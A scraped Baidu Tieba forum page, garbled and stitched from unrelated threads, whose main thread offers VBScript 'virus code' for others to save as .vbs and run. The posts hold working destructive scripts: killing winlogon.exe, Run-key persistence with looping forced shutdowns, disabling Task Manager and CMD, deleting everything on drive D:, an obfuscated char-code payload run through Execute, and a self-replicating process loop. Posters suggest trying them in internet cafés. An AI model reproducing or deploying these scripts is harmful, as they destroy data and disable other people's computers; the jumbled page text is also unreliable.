优媒达没有如何开通微信支付功能交易功能吗?

病毒代码发来玩玩把代码复制到txt文本里 然后把txt格式改成vbs_内蒙古电子信息职业技术学院吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:30,740贴子:
病毒代码发来玩玩把代码复制到txt文本里 然后把txt格式改成vbs收藏
蓝屏代码for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ if Ucase(ps.name)=Ucase("winlogon.exe") thenps.terminateend ifnextSet ws=CreateObject("WScript.Shell")set fs=createobject("scripting.filesystemobject")dim a1,a2,a3,thn,ithn=wscript.scriptfullnamea1=fs.getparentfoldername(fs.GetSpecialFolder(0))fs.copyfile thn,a1&"\admin123.vbs",truedo while i&10i=i+1ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"loopws.run "shutdown -s -f -t 60"dowscript.sleep 500if ws.appactivate("Windows 任务管理器")=true thenws.run "taskkill /f /im Taskmgr.exe"end ifif ws.appactivate("命令提示符")=true thenws.run "taskkill /f /im cmd.exe"end ifif ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true thenws.run "taskkill /f /im cmd.exe"end ifif ws.appactivate("系统关机")=false thenws.run "shutdown -s -f -t 30"end ifloop会开机自动运行,开机就蓝屏,没有让你修改的机会,F8安全模式也许可以修改下,但一般智能重装系统了,重装系统不会删掉你电脑的文件的,只有系统盘的东西没有了这个只能重装系统,这个破坏力比较大,重启也没什么用
3D双端东方魔幻网游「大青云」勾魂公测,穿越逆转,封神故事,全新演绎!
Set sh=CreateObject("WScript.Shell")dim i,s,z,thnz=array(4,5,16,32,48,64)i=0s=1dodo while i&si=i+1sh.run wscript.scriptfullnameloops=s+1i=0randomizewscript.sleep int(rnd()*100)msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"thn=wscript.scriptfullnamesh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thnloop胆子大的可以运行看看,嘿嘿,改成.vbs格式
set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\.\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(mandLine,wscript.scriptfullname)&&0 and pipe.count&=2 then s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" for i=1 to 60 s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next 复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,此代码的威力:1:开机就强制自动关机2:cmd命令打不开3:结束任务不管用4:F8安全模式也不管用代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件
删除D:\所有文件WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s """,0 ,true
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-1,-1,-15632,- ,118,98,89,101,115,78,111,44,34,-1,-13087,- ,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-899,-20026,- ,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-1,-19504,- ,32,-1,-1,-2,-1,-1,-1,- 1,-644,-,-,-2,35,-24147,- ,44,54,52,44,34,-1,-16721,- ,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner这个是直接蓝屏 重启就好 pS ;对电脑伤害非常大
do createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop来个狠得 别再自己家试 可以去网吧
呵呵,pe不就搞定了,或者dos
我自己试了试结果电脑爆炸了。。。。
阿 我不敢试
手机直接碎了
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或新手请教,VBS怎样写入文本文件_vbs吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:9,241贴子:
新手请教,VBS怎样写入文本文件收藏
快试试吧,可以对自己使用挽尊卡咯~◆◆
a="地址"b="内容"怎样写入文本文件顺便帮我解释下每一句的意思
3D双端东方魔幻网游「大青云」勾魂公测,穿越逆转,封神故事,全新演绎!
利用fsodim fso,fset fso = CreateObject("Scripting.FileSystemObject")Set f = fso.OpenTextFile("C:\test.txt")&-""里自己改文件路径f.WriteLine("")&-""里自己改内容f.Close
a="地址"b="内容"两个变量a,ba里边装着"地址"这个字符串b里边装着"内容"这个字符串
快试试吧,可以对自己使用挽尊卡咯~◆◆
登录百度帐号推荐应用
为兴趣而生,贴吧更懂你。或

我要回帖

更多关于 社保卡开通金融功能 的文章

 

随机推荐